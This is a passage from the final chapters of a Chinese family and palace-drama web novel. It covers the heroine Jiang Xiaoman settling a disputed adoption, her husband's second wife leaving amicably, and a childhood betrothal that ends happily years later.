“这鸿哥儿倘若真入了府，我与老爷自然是不认的，日后这鸿哥儿虽有养母疼爱却无亲爹照拂，怕是享不了什么福！” 蔡氏：“你，你怎得这样狠心,竟与个小孩子计较——” 还未等蔡氏说完，姜小满便继续道，“哦，我提前将话放在这里，鸿哥儿若是当真要入府，一应吃穿用度，读书开蒙，乃至将来的娶妻生子都与明府没有关系，更遑论以后会从明府得到什么产业！养育鸿哥儿的银钱恐怕只得母亲和萍妹妹自己来掏——” “还有，日后明府要开设私学，少不得要用银子，所以母亲的份例也要降一降，怕是养不起鸿哥儿呢！” 那蔡氏闻言几近晕厥，她将鸿哥儿过继过来就是为了当摇钱树的，这下倒好还得自己掏钱养孩子？ “姜小满，这孩子只要高氏认了，你与明澈就得认！”蔡氏不服气道。 “哦？那倒要看看谁能拿把刀架在我脖子上逼我认，或者谁能让我多掏一个子儿养这孩子？”姜小满无意再打嘴仗，摆明态度后便转身离开。 她姜小满是这明府的当家主母，既已熬到了这个位置那就必得活得畅快，倘若如今还能容忍苍蝇在耳边嗡嗡，那她做这当家主母便也没什么趣味了！ 姜小满华丽丽丢下的那一屋子人皆愣在原地不知如何是好。这一刻起，他们深切的明白这家倒是谁说了才算！ 自此，鸿哥儿过继之事便不了了之了。 对蔡氏来说，既然落不了什么好处，又凭何让亲孙去给别人家当孙子！ 而高萍萍亦没有了做鸿哥儿母亲的念头，小满说得对，这孩子有爹有娘，不能因为她想要就从旁人那里抢过来！ 数日后，蘅泽苑。 高萍萍入目便瞧得这样一幅画面：小满坐于书案前潜心研究着什么，而明澈则抱着如意亲昵地蹭蹭额头。 自入府以来，高萍萍常常瞧见如是温馨的画面，她多希望自己是小满，这样便能有如此完满的人生，但她不是—— 她只感觉自己脸上写了两个字：多余。 见高萍萍进来，小满忙起身迎道，“妹妹，快进来。” 高萍萍缓缓走近道，“姐姐，你不怪我？” 自起了过继鸿哥儿的念头，高萍萍便再未踏足过蘅泽苑，她觉得自己与小满之间早已有了嫌隙。 “为何怪你？”小满笑笑便亲自为高萍萍煮茶。 高萍萍将茶水一饮而尽，瞧了瞧身侧的明澈和如意道，“围炉煮茶，夫君孩子环绕！姐姐的日子好生惬意，我也想要！” 这一句却将明澈吓了一跳，难不成这高萍萍是又动了生孩子的念头？ 姜小满不知高萍萍是何意，瞧了明澈一眼道，“想要就拿去！” “姐姐这话说得，好像我想拿便能拿走一样！”高萍萍叹了口气道，“姐姐，我好羡慕你，我要是你就好了！” 明澈将孩子交给奶娘道，“你这话错了！你是你，小满是小满，各有各的好——” 第一次听明澈说自己好，高萍萍有些喜出望外道，“当真？你这样说不怕姐姐生气吗？” “为何生气，你本来就很好啊！”小满握了高萍萍的手道，“我们自然都是好的！” 高萍萍闻言道，“不错，我这么好又怎能横插在姐姐与老爷之间呢！是我错了，我想做母亲却忘记是在抢另一个母亲的孩子；我想找一个安身立命的地方，没曾想却成了姐姐同老爷之间的阻碍，我不该这样！” “妹妹，你今日怎得——”姜小满觉得高萍萍今日怪怪的。 高萍萍反握了姜小满的手道，“我想要一封和离书，去寻我真正能安身立命的地方。” 明澈：“萍萍，你一个小女子能去哪里呢？有我在明府自当让你安身立命！” 姜小满：“是啊，明府定然有你一口饭吃！” 高萍萍看了二人一眼便笑道，“姐姐，你方才还说我好，难道这么好的我就只配留在明府有口饭吃吗？我也要过姐姐这样的日子，围炉煮茶做自己想做的事情，相公孩子热炕头——” 姜小满看出高萍萍的决心，于是道，“妹妹，此话当真？” “当真！”高萍萍顿了顿道，“以前我以为做女子要么就是像我亲娘那般弱小可怜，要么就是像我嫡母和嫡姐那般事事争强好胜方能过得安稳。” “直到看到姐姐，我才明白，原来还能像姐姐这般过！既然姐姐和老爷都说我好，那我就去试试过我想要的日子——” 听闻此言，姜小满与明澈心下亦是高兴，三个人的日子终究是有些挤了。 “既如此，我便不留你了！” 第206章 大结局下 姜小满说着便将一张地契拿了出来道，“这个园子名为芳菲园，园子虽不大却种满了各种花卉草木，眼见着要春暖花开了，我将这园子送你，你在这园子里与你喜欢的花木为伴，定然快活！” 高萍萍接过地契瞧了又瞧道，“姐姐，怎能让你如此破费，我还是有些嫁妆的，自己生活不成问题！” “可是不喜欢？”明澈道。 “喜欢自然是喜欢的——”高萍萍自小就一个爱好，同花木为伴，这芳菲园简直就是她的梦中情园，只是怎好意思无功受禄呢。 “喜欢便拿着！你拿了这园子便算全了我们姐妹一场的情谊——”姜小满将地契塞进了高萍萍手中。 “多谢姐姐，还有老爷！”高萍萍没想到姜小满居然早就备好了园子要送她。 拿着这张地契，高萍萍心底仅有的那一丝丝不甘亦烟消云散了，这么好的小满与明澈，她高萍萍自当成全！ ...... 随着高萍萍的离开，明府的家学亦开了起来。 姜小满立在窗前，瞧着坐在里边摇头晃脑读书的孩子们，心中颇为感慨，想来明澈幼年时也是这样开蒙的吧。 那女学之中，有明二头的女儿、有明大丫的妞妞，有苏奶娘的孩子，以后还会有姜白露，当然还有她的如意。 这些女孩子很多都像是儿时的姜小满，不同的是她们遇到了姜小满，所以注定会有不一样的人生。 姜小满想象着如意以后也会在这里摇头晃脑地念书不禁勾起了唇角...... 一旬后，姜小满收到秘闻：【高贵妃因残害皇嗣而被打入冷宫。】 残害皇嗣？如今宫中有孕的只有皇后一人—— 当姜小满急急入宫看望皇后时，却见皇后身边已然躺了一个小小的人儿。 “娘娘，您没事儿吧？”姜小满瞧着安然无恙的皇后道。 “过来瞧瞧小皇子！”谢婉之道。 姜小满：“娘娘，我听闻高贵妃——” 谢婉之瞧了眼小满嗔道，“你倒是消息灵通！高贵妃已然知晓了自己无法有孕是陛下为之，因而起了歹念迁怒于我，好在我平日里谨慎惯了，方才躲过一劫——” “那陛下预备怎么处置高贵妃？按理说谋害皇嗣可是大罪！”姜小满忆起皇帝当时是因着忌惮高贵妃娘家的军功，所以才不允许其生育有着高家血脉的孩子，但如今高家已然失了兵权，贵妃也永久地失去了做母亲的资格。 谢婉之：“陛下念着高将军之功只是将其打入冷宫罢了！” 自高将军告老回乡后，那高贵妃便也失了宠，对她来说这皇宫早就是冷宫了。 一瞬，谢婉之抬眸，“都过去了！当年生安哥儿时便是九死一生，那时幸而有你在身边！如今你已是一家的主母，我自然要学会周全自己！” “娘娘没事就好——”姜小满瞧着谢婉之颇为疲累的样子，想来她是刚刚经历一场浩劫，好在谢婉之已然不再是同承恩侯府时那般的可欺。 只是，已经是中宫皇后且有了皇子的谢婉之不知是否真的过上了自己想要的日子！思及此处，姜小满颇觉还是自己与明澈那简简单单的小日子更惬意一些。 正当姜小满出神之际，谢婉之忽道，“小满，我这皇儿同如意差不多的年岁，不如我去求陛下给二人定个娃娃亲如何？” 谢婉之满脸期盼之时，姜小满却是惊得差点儿扔掉茶盏，“不！娘娘，如意不成体统——” 姜小满想想又觉得不对，如意才几个月大的奶娃娃，哪里来的不成体统，顿了顿只得道，“娘娘，孩子们的事且由他们自己做主吧——” 谢婉之此举显然是一番好意，但姜小满又怎能眼睁睁瞧着如意入皇家？ 这可是帝后的嫡子，将来很可能便是大顺的帝王，姜小满不想让如意有朝一日坐上那看似高高在上，实则险象环生的凤位。 谢婉之不明所以道，“怎得？你是觉得这孩子比如意年龄小吗？不然安哥儿也行啊，安哥儿要长如意两岁呢！” “娘娘，儿女自有儿女的缘法，我只是不想过早的左右孩子们的人生——”姜小满作为有着前世记忆之人，本就对娃娃亲这种约定嗤之以鼻。 强扭的瓜不甜，皇后便也只得不了了之—— 只是数年后，小满带着如意入宫看望皇后，只一会儿功夫如意便不知跑哪里去了？ 后花园桃树下。 庆国公谢安：“如意，我小的时候你娘救过我的命，你知道吗？” “知道啊，你已经说过好多遍了！那又怎样呢安哥哥？”如意嘟着小嘴道。 “因为你娘救过我的命，所以我要以身相许！你长大了要嫁给我的晓得吗？”谢安捏了捏如意的小脸道。 如意：“哦！这就叫以身相许啊！那什么是嫁？” 谢安挠挠头道，“嫁就是你长大后得去我家住！” “那我能带爹娘一起去你家住吗？”如意一脸期待。 “不可以！就你自己！”谢安不容置喙道。 “呜呜——我不要去你家住，我要我娘，呜呜——”如意一想到要离开娘去别人家住便忍不住哭了起来。 “行了，行了，别哭了！”谢安无措地哄着，心想既然如意舍不得娘，那不如自己搬去好了—— 当谢婉之与姜小满看到桃树下的二人时，谢安正在轻轻帮如意擦着脏兮兮的小脸儿，嘴里还念念有词，“如意你还小，我并不是让你现在就嫁给我！只是提醒你不要同别的男子玩闹，因为你以后要嫁的人是我——” 谢婉之听得谢安之语，不禁笑道，“你瞧见了吗？你我注定是要做亲家的——” 当晚，小满便将今日在宫中看到的这幕如数告诉明澈，“如意日后终究是要嫁人的，要我说庆国公也不错，还是你我小时候抱过的呢——” “这个谢安，看来还是太闲了！明日必定让他将那《中庸》如数背完才行！”已成为帝师的明澈决定明日重点关照一样他的学生之一庆国公。 岁月如常，太阳照常升起，秘闻照常更新。 很多年后的一天，姜小满揉着惺忪的睡眼看到了一条秘闻：【庆国公谢安与帝师明澈之女明如意两情相悦......】 全书完。